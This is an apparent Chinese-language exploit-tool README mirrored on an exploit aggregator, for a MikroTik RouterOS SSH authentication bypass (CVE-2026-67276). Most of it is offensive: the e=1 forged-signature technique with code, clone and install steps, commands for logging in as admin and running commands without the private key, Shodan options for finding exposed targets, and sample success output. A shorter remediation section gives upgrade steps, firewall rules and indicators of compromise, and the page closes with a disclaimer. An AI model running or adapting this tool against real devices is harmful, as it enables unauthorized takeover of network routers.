Sploitus

exploit-mikrotik-2026

kitploit · 2026-09-07

Exploit Code

MARKDOWN365 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-BLACKHATEXPLOITATION-EXPLOIT-MIKROTIK-2026
# CVE-2026-67276 - MikroTik SSH 认证绕过漏洞利用工具

![CVE](https://img.shields.io/badge/CVE-2026--67276-red?style=for-the-badge) ![Severity](https://img.shields.io/badge/Severity-Critical%209.8-darkred?style=for-the-badge) ![Type](https://img.shields.io/badge/Type-Auth%20Bypass-orange?style=for-the-badge) ![Platform](https://img.shields.io/badge/Platform-MikroTik%20RouterOS-blue?style=for-the-badge)

> **MikroTik RouterOS SSH 公钥认证绕过 - 无需私钥**

针对 CVE-2026-67276(MikroTrick)的概念验证利用工具,这是 MikroTik RouterOS SSH 实现中的一个严重认证绕过漏洞,允许攻击者在未持有目标用户私钥的情况下以任意用户身份进行认证。

* * *

## 目录

  * 漏洞概述
  * 工作原理
  * 受影响版本
  * 安装
  * 使用方法
  * Shodan 侦察
  * 技术细节
  * 修复方案
  * 参考资料
  * 免责声明



* * *

## 漏洞概述

### MikroTrick 攻击链

CVE-2026-67276 是 CERT PL 命名为 **"MikroTrick"** 的更大攻击链的一部分,该攻击链已被观察到在野外被积极利用:

* * *

## 工作原理

### 漏洞成因

RouterOS SSH 认证在验证公钥时存在严重缺陷:

  1. **密钥匹配缺陷** :RouterOS 仅使用 **(密钥类型、模数)** 将提交的 SSH 公钥数据块与授权密钥进行匹配,**完全忽略了指数**
  2. **指数来自客户端** :签名验证使用的是**客户端提交的数据块** 中的指数,而非存储的密钥
  3. **轻松伪造** :提交 `{ssh-rsa, e=1, n=受害者模数}` 即可使验证变得微不足道



### 数学原理

root@kitploit:~
    
    
    标准 RSA 验证:  sig^65537 mod n == 预期值  (需要私钥)
    被利用的验证:   sig^1 mod n == sig           (无需私钥!)
    

当指数 `e=1` 时,签名验证变为:

root@kitploit:~
    
    
    sig^1 mod n == sig
    

这意味着"签名"实际上就是 EMSA-PKCS1-v1_5 编码的消息本身——**任何知道受害者公钥模数的人都可以构造** 。

### 攻击前提条件

  1. 目标用户名对应的账户拥有已授权的 RSA 密钥
  2. 该授权密钥的 RSA 公钥模数 `n`(来自 `.pub` 文件、历史连接等)
  3. 可访问 SSH 端口



* * *

## 受影响版本

分支| 受影响范围| 已修复版本  
---|---|---  
**6.x**|  6.0 - 6.49.20| 6.49.21+  
**7.x 稳定版**|  7.0 - 7.23.3  
  
* * *

## 安装

root@kitploit:~
    
    
    # 克隆仓库
    git clone https://github.com/BlackHatExploitation/exploit-mikrotik-2026.git
    cd exploit-mikrotik-2026
    
    # 安装依赖
    pip install paramiko cryptography
    

* * *

## 使用方法

### 快速开始

root@kitploit:~
    
    
    # 基础利用 - 自动生成密钥,检测版本
    python3 full_exploit.py --host 192.168.88.1 --username admin
    
    # 认证后执行命令
    python3 full_exploit.py --host 192.168.88.1 --username admin --exec '/system resource print'
    
    # 自定义端口
    python3 full_exploit.py --host 192.168.88.1 --port 2222 --username admin
    

### 使用现有公钥

root@kitploit:~
    
    
    # 如果你拥有受害者的公钥文件
    python3 full_exploit.py --host 192.168.88.1 --username admin --pubkey victim.pub
    
    # 或直接提供模数
    python3 full_exploit.py --host 192.168.88.1 --username admin --modulus-hex "00:ab:cd:..."
    

### 版本检测

该工具会自动检测 RouterOS 版本并检查漏洞状态:

root@kitploit:~
    
    
    # 即使目标不是 MikroTik 或版本未知也强制利用
    python3 full_exploit.py --host 192.168.88.1 --username admin --skip-version-check
    

### 全部选项

root@kitploit:~
    
    
    --host              目标 RouterOS IP/主机名(必填)
    --port              SSH 端口(默认:22)
    --username          目标 RouterOS 用户名(必填)
    --pubkey            RSA 公钥文件(未提供时自动生成)
    --modulus-hex       RSA 模数(十六进制)(--pubkey 的替代方案)
    --algos             签名算法(默认:ssh-rsa,rsa-sha2-256)
    --exec              认证后要执行的命令
    --exp-enc           指数编码:canonical(1 字节)或 aligned(3 字节)
    --timeout           连接超时时间(默认:15.0 秒)
    --skip-version-check    跳过 RouterOS 版本验证
    --shodan-dorks      打印 Shodan 搜索语法
    --shodan-search     通过 Shodan API 搜索目标
    --shodan-key        Shodan API 密钥
    --shodan-query      自定义 Shodan 查询
    --shodan-limit      Shodan 结果数量限制(默认:100)
    

* * *

## Shodan 侦察

### 打印搜索语法

root@kitploit:~
    
    
    python3 full_exploit.py --shodan-dorks
    

### 搜索 Shodan API

root@kitploit:~
    
    
    # 基础搜索
    python3 full_exploit.py --shodan-search --shodan-key YOUR_API_KEY
    
    # 自定义查询
    python3 full_exploit.py --shodan-search --shodan-key YOUR_KEY --shodan-query 'MikroTik port:22 country:US'
    

### 实用的 Shodan 查询

* * *

## 技术细节

### SSH 公钥数据块结构

root@kitploit:~
    
    
    string    "ssh-rsa"
    mpint     e(公钥指数)  <- 攻击者提供 e=1
    mpint     n(模数)      <- 受害者的实际模数
    

### 伪造签名生成

root@kitploit:~
    
    
    # "签名"实际上就是 EMSA-PKCS1-v1_5 编码的认证数据
    def forged_signature(data, sig_alg, n):
        k = (n.bit_length() + 7) // 8
        block = emsa_pkcs1_v15(data, sig_alg, k)
        return block  # 当 e=1 时,这就是有效的签名
    

### 线格式说明

  * 即使使用 `rsa-sha2-256/512` 算法,数据块内部的类型字符串仍保持为 `ssh-rsa`
  * 签名算法仅放在外部算法字段中
  * 在受影响版本上,canonical(1 字节)和 aligned(3 字节)两种 e=1 编码均有效



* * *

## 示例输出

root@kitploit:~
    
    
    [*] CVE-2026-67276 MikroTrick 利用工具
    [*] 目标:192.168.88.1:22
    
    [*] 正在检测 RouterOS 版本...
    [*] SSH 横幅:SSH-2.0-ROSSSH-7.23.3
    [*] RouterOS 版本:7.23.3
    [+] 版本存在漏洞 - 适用 CVE-2026-67276
    
    [*] 正在生成 2048 位 RSA 密钥对...
    [+] 私钥已保存:/path/to/exploit_key
    [+] 公钥已保存:  /path/to/exploit_key.pub
    [*] 模数:2048 位 | 伪造 e=1
    [*] 指数编码:canonical(01)
    
    [*] 正在尝试 rsa-sha2-256 ...
    [+] 已通过 rsa-sha2-256 以 'admin' 身份完成认证
    [+] CVE-2026-67276 已确认 - 目标存在漏洞
    --- 命令输出 ---
                    uptime: 14d23h45m12s
                   version: 7.23.3 (stable)
                build-time: Sep/01/2026 12:00:00
    

* * *

## 修复方案

### 1\. 立即升级

root@kitploit:~
    
    
    # 检查当前版本
    /system resource print
    
    # 升级到已修复版本
    /system package update download
    /system reboot
    

**最低安全版本:**

  * 6.x 分支:**6.49.21**
  * 7.x 稳定版:**7.23.4**
  * 7.x 测试版:**7.24.2**



### 2\. 如非必要,禁用 SSH

root@kitploit:~
    
    
    /ip service disable ssh
    

### 3\. 限制 SSH 访问

root@kitploit:~
    
    
    # 按 IP 地址限制
    /ip service set ssh address=192.168.88.0/24
    
    # 防火墙规则
    /ip firewall filter add chain=input dst-port=22 protocol=tcp \
        src-address=!192.168.88.0/24 action=drop
    

### 4\. 检查是否已被入侵

root@kitploit:~
    
    
    # 检查可疑用户
    /user print
    
    # 检查 "ops" 用户(已知的攻击者入侵指标)
    /user print where name=ops
    
    # 检查设备标记状态
    /system/device-mode/print
    
    # 检查日志
    /log print where topics~"ssh"
    

**已知入侵指标(IOC):**

  * 日志条目:`login failure for user -2 via ssh`
  * 未知的特权用户 `ops`
  * 设备被"标记"(Flagged)
  * 攻击者 IP:`82.192.72.4`、`103.102.31.18`



* * *

## 参考资料

  * CERT PL 安全公告
  * CERT PL CVE 详情
  * MikroTik 安全公告
  * RFC 8017 - PKCS#1 v2.2
  * RFC 8332 - SSH 中 SHA-256/512 RSA 密钥的使用
  * RFC 4252 - SSH 认证协议



* * *

## 免责声明

⚠️ **本工具仅用于授权的安全测试和教育目的。**

  * 仅可对您拥有或获得明确书面许可的系统进行测试
  * 未经授权访问计算机系统违反 CFAA、Computer Misuse Act 及全球类似法律
  * 作者不对因使用本工具造成的任何滥用或损害负责
  * 使用本工具即表示您同意以负责任且合法的方式使用



* * *

## 许可证

MIT 许可证 - 详情请参阅 LICENSE。

* * *

## 作者

安全研究 PoC - CVE-2026-67276 实验室实现

**如果您觉得本工具实用,请为本仓库点个 Star!**